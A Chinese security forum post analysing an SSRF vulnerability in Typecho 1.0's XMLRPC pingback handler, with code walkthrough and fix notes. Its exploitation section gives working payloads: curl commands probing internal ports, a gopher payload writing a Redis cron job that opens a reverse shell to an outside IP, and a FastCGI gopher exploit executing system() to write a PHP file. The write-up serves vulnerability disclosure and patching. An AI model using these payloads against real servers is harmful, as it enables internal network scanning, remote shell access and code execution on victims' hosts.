用户
搜索
  • TA的每日心情
    开心
    2018-6-5 10:38
  • 签到天数: 2 天

    连续签到: 2 天

    [LV.1]初来乍到

    SRC部落

    Rank: 7Rank: 7Rank: 7

    13

    主题

    18

    帖子

    137

    魔法币
    收听
    1
    粉丝
    0
    注册时间
    2018-6-4

    SRC部落

    发表于 2018-6-13 17:22:43 242928
    本帖最后由 美丽联合安全 于 2018-6-13 17:22 编辑

    Author:JoyChou
    Date:20180613

    1. 前言

    Google了下Typecho SSRF关键字,发现和WordPress一样,XMLRPC也存在同样的SSRF问题。自己博客也是使用Typecho,所以就分析一下,顺便自己再打个PATCH。

    本文所有测试均在以下测试环境:

    • Typecho 1.0 (14.10.10)
    • CentOS 7
    • libcurl/7.29.0
    • Redis server v=3.2.10
    • PHP 5.4.16 (fpm-fcgi)

    2. 漏洞原理

    XMLRPC这个接口在Typecho 1.0版本中,默认有该功能,并无设置选项。后面的1.1版本有设置该选项的功能。

    XMLRPC里的Pingback协议,很多人可能不知道 Pingback 协议是干嘛的。我在这里简单解释下,这个协议诞生在Web 2.0概念诞生之初,由于在互联网世界各个博客站点之间是独立的存在,而它们之间又经常存在互相引用的情况。作为一个原创博主,我是无法知道我这篇文章被哪些站点引用过的,因此Pingback协议就是为了解决这个问题存在的。

    当你在写的文章发表后,如果文中引用了某个链接,系统会自动向那个链接发一个PING,告诉对方我引用了这篇文章,地址是: xxx。对方收到这个PING以后会根据你给的原文地址回去检验一下是否存在这个引用,这就是一次BACK。检验完以后,会把这次引用记录下来,大家经常在Typecho或者WordPress之类博客评论列表里看到的引用记录,就是这么来的。

    而造成这个漏洞的关键就在于这个BACK过程,该过程会用cURL或者socket请求原文地址,由于未做任何限制,导致SSRF。

    2.1 代码分析

    漏洞URL:http://localhost/action/xmlrpc。POST提交以下Payload:

    <?xml version="1.0" encoding="utf-8"?>
    <methodCall> 
      <methodName>pingback.ping</methodName>
      <params>
        <param>
          <value>
            <string>http://127.0.0.1:2222</string>
          </value>
        </param>
        <param>
          <value>
            <string>joychou</string>
          </value>
        </param>
      </params>
    </methodCall>

    收到源地址服务器错误这样的错误返回。

    代码里搜索源地址服务器错误,发现只有var/Widget/XmlRpc.php文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)函数即可,该函数的$source参数为http://127.0.0.1:2222$target为joychou

    先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。

    XmlRpc.php

    if (!($http = Typecho_Http_Client::get())) {
      return new IXR_Error(16, _t('源地址服务器错误'));
    }

    get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。

    var/Typecho/Http/Client.php

    public static function get()
    {
       $adapters = func_get_args();
       if (empty($adapters)) {
           $adapters = array();
           $adapterFiles = glob(dirname(__FILE__) . '/Client/Adapter/*.php');
           foreach ($adapterFiles as $file) {
               $adapters[] = substr(basename($file), 0, -4);
           }
       }
       foreach ($adapters as $adapter) {
           $adapterName = 'Typecho_Http_Client_Adapter_' . $adapter;
           if (Typecho_Common::isAvailableClass($adapterName) && call_user_func(array($adapterName, 'isAvailable'))) {
               return new $adapterName();
           }
       }
       return false;
    }

    回到XmlRpc.php,$http->setTimeout(5)->send($source);该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php

    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_PORT, $this->port);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FRESH_CONNECT, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

    由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。

    2.2 代码整体逻辑

    1. 程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用
    2. 如果cURL返回失败或者返回成功后但状态码不是200,返回源地址服务器错误
    3. 如果cURL返回成功,并且状态码为200,如果没有x-pingback头,返回源地址不支持PingBack,如果有x-pingback头,就继续往下判断。
    try {
      $http->setTimeout(5)->send($source);
      $response = $http->getResponseBody();
      if (200 == $http->getResponseStatus()) {
          if (!$http->getResponseHeader('x-pingback')) {
              preg_match_all("/<link[^>]*rel=[\"']([^\"']*)[\"'][^>]*href=[\"']([^\"']*)[\"'][^>]*>/i", $response, $out);
              if (!isset($out[1]['pingback'])) {
                  return new IXR_Error(50, _t('源地址不支持PingBack'));
              }
          }
      } else {
          return new IXR_Error(16, _t('源地址服务器错误'));
      }
    } catch (Exception $e) {
      return new IXR_Error(16, _t('源地址服务器错误'));
    }

    3. 漏洞利用

    3.1 端口探测

    所以,可以根据返回码,我们可以来探测端口。

    • 返回源地址服务器错误,端口不开启。
    • 返回源地址不支持PingBack或者其他错误,端口开启。

    3.1.1 探测Redis端口

    curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:6379</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

    返回:

    <?xml version="1.0"?>
    <methodResponse>
      <fault>
        <value>
          <struct>
            <member>
              <name>faultCode</name>
              <value><int>16</int></value>
            </member>
            <member>
              <name>faultString</name>
              <value><string>源地址服务器错误</string></value>
            </member>
          </struct>
        </value>
      </fault>
    </methodResponse>

    所以,这就很尴尬,php curl对http://127.0.0.1:6379发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…

    而且用时间差测试,端口是否有无,时间差几乎一样。

    3.1.2 探测Web服务

    python开一个2222的Web服务python -m SimpleHTTPServer 2222

    payload:

    curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:2222</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>'

    返回源地址不支持PingBack,说明端口开启。

    <?xml version="1.0"?>
    <methodResponse>
      <fault>
        <value>
          <struct>
            <member>
              <name>faultCode</name>
              <value><int>50</int></value>
            </member>
            <member>
              <name>faultString</name>
              <value><string>源地址不支持PingBack</string></value>
            </member>
          </struct>
        </value>
      </fault>
    </methodResponse>

    3.2 攻击Redis

    EXP中由于带有&字符,需要使用CDATA。

    <?xml version="1.0" encoding="utf-8"?>
    
    <methodCall> 
      <methodName>pingback.ping</methodName>
      <params>
        <param>
          <value>
            <string><![CDATA[gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$61%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/47.89.24.222/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a]]></string>
          </value>
        </param>
        <param>
          <value>
            <string>joychou</string>
          </value>
        </param>
      </params>
    </methodCall>
    

    3.3 攻击FastCGI

    3.3.1 利用条件

    • libcurl版本>=7.45.0
    • PHP-FPM监听端口
    • PHP-FPM版本 >= 5.3.3
    • 知道服务器上任意一个php文件的绝对路径

    由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。官方版本升级日志中有提到如下内容:

    Fixed in 7.45.0 - October 7 2015

    gopher: don't send NUL byte

    3.3.2 转换为Gopher的EXP

    监听一个端口的流量 nc -lvv 2333 > 1.txt,执行EXP,流量打到2333端口

    python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php

    urlencode

    f = open('1.txt')
    ff = f.read()
    from urllib import quote
    print quote(ff)

    得到gopher的EXP

    %01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00

    执行EXP

    curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00'

    4. 修复

    4.1 热修复

    • 如果不使用XMLRPC的pingback接口,可将/action/xmlrpc接口用Nginx处理下。if ($uri ~ ^/action/xmlrpc$) {return 403;}
    • WAF拦截

    4.2 代码修复

    最后官方很快给出了修复代码,修复的方式是限制IP为内网IP,并且协议限制为HTTPS/HTTP。

    5. Reference

    美丽联合安全应急响应中心(MLSRC),主要负责处理美丽联合集团旗下产品和业务的安全问题,欢迎广大安全专家、安全爱好者沟通交流(https://security.mogujie.com)~
    使用道具 举报 回复
    支持一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册